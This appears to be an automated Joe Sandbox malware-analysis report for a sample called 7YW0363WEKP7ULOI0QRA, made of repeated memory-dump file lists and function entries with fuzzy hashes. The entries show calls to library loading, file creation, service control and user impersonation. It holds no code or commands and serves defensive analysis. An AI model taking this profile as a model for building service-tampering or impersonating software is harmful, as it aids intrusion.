Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 263d8dc913052edfacfd38692288004d0dc5a9ac5ee88477eb04aa91f1a6535d
Instruction ID: e11ab84b29a7acf88077223417af06b31a3150076c8085bfc848ca2f697333d7
Opcode Fuzzy Hash: 263d8dc913052edfacfd38692288004d0dc5a9ac5ee88477eb04aa91f1a6535d
Instruction Fuzzy Hash: 7A2149F214D3437EE71286659C65FF77B98D757738F20841AF443DAC82D4A01E05527A

Function 00CA984B Relevance: 1.6, APIs: 1, Instructions: 134
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00CA984B

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e905c92747914fea4c8e5fb412583d45c3bf5355215a364c65f78abcd095ac83
Instruction ID: 30486ac66794e9eb2630479065148757cb93a426ca7da44fa0eefb0377894122
Opcode Fuzzy Hash: e905c92747914fea4c8e5fb412583d45c3bf5355215a364c65f78abcd095ac83
Instruction Fuzzy Hash: 584180B250C300AFE7026F28DC826BAFBE0EF55324F1A492DD6C587650D7399850CB97

Function 00CA96DD Relevance: 1.6, APIs: 1, Instructions: 112
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00CA96DD

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b0bb1622f5d35c84c437f913cf2ae9de2f0f267c19f77010f86e9fe624a61311
Instruction ID: a048428ab5a9b951c53ce0b292b06307f071f365762cf518f6ec734a5460b192
Opcode Fuzzy Hash: b0bb1622f5d35c84c437f913cf2ae9de2f0f267c19f77010f86e9fe624a61311
Instruction Fuzzy Hash: F5318BF250C211AFE702AF19D881679FBF5EF95320F26482EE6C8C7610D73648588B93

Function 05480D42 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05480DCD

Memory Dump Source

Source File: 00000003.00000002.2510895734.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5480000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 61473f289367135d1a0a9c69bb4948b0c2ce9783697c2eeebf02fb4a8ba92959
Instruction ID: 837c91f18aa90a67c58e165880c042fe9078b7d58a82ca31ba00bd62fce77515
Opcode Fuzzy Hash: 61473f289367135d1a0a9c69bb4948b0c2ce9783697c2eeebf02fb4a8ba92959
Instruction Fuzzy Hash: 4C2154B6C002199FCB10CF99D884AEEFBF4FB88720F14815AE908AB304D774A544CBA4

Function 05480D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05480DCD

Memory Dump Source

Source File: 00000003.00000002.2510895734.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5480000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: b10c274fb725422b88e69c4c43d067463efc2adbd3b657e37ab60063610aef43
Instruction ID: 4fe3026c54205631bb1b99eba38b5dc8c698edf3f6bee109f4b00264dd15f4bd
Opcode Fuzzy Hash: b10c274fb725422b88e69c4c43d067463efc2adbd3b657e37ab60063610aef43
Instruction Fuzzy Hash: 742132B6C012199FCB50DF99D884ADEFBF4FB88720F14825AD908AB304D774A944CBA4

Function 05481510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05481580

Memory Dump Source

Source File: 00000003.00000002.2510895734.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5480000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: ae826a191125bff0b621b7ff26bfd6e89d2dbd4773c7fdd1e15184ca51724ac3
Instruction ID: 24b5f8e999e3956796d9c4b18270d36a22100abbbde35a348fe458324bd75114
Opcode Fuzzy Hash: ae826a191125bff0b621b7ff26bfd6e89d2dbd4773c7fdd1e15184ca51724ac3
Instruction Fuzzy Hash: 8C11D3B19002499FDB10CF9AD584BDEFBF4EB48320F10842AE959A3250D778AA45CFA5

Function 05481509 Relevance: 1.6, APIs: 1, Instructions: 53
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05481580

Memory Dump Source

Source File: 00000003.00000002.2510895734.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5480000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c5f5fd0e5d9c1541b809a50595ba9b6c6394067440bdbe04891526eb8c297c87
Instruction ID: 9eede8a44b0c34448536aa782fc4a1f81a54f10fc1c243e669ba18d5cb9c4da5
Opcode Fuzzy Hash: c5f5fd0e5d9c1541b809a50595ba9b6c6394067440bdbe04891526eb8c297c87
Instruction Fuzzy Hash: A52114B6D002498FDB10CF9AD584BEEFBF4BB48320F14842AE559A3240D378A645CFA5

Function 00CAD1D4 Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 00CAD270

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9e8f16c40e5c72c9f19b8941dd0010439ef47dbd58382f5d613166240bb9a8b4
Instruction ID: 3dcb70383212e4a60b7e61e251b365f94bac1daad1724d99b929f8b68cc1aad6
Opcode Fuzzy Hash: 9e8f16c40e5c72c9f19b8941dd0010439ef47dbd58382f5d613166240bb9a8b4
Instruction Fuzzy Hash: B6F04CEA14C2533DF201D6392DD1EFABB6CEA87378B304599FC439B883D2849D08A120

Function 05481301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05481367

Memory Dump Source

Source File: 00000003.00000002.2510895734.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5480000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 092e8bf4e67eb49dbc8cd41c1155b3703804edf3c825e331a34f4e52e0c0a82f
Instruction ID: 7626295f765c8b998adc9a06acce0da8e9c93c6dade27aa446e5e5d3102f07a6
Opcode Fuzzy Hash: 092e8bf4e67eb49dbc8cd41c1155b3703804edf3c825e331a34f4e52e0c0a82f
Instruction Fuzzy Hash: B11125B1800259CFDB10CF9AC945BEEFBF8EF48324F24846AD518A3240D778A944CFA5

Function 00CAD1F4 Relevance: 1.5, APIs: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C3562899), ref: 00CAD270

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
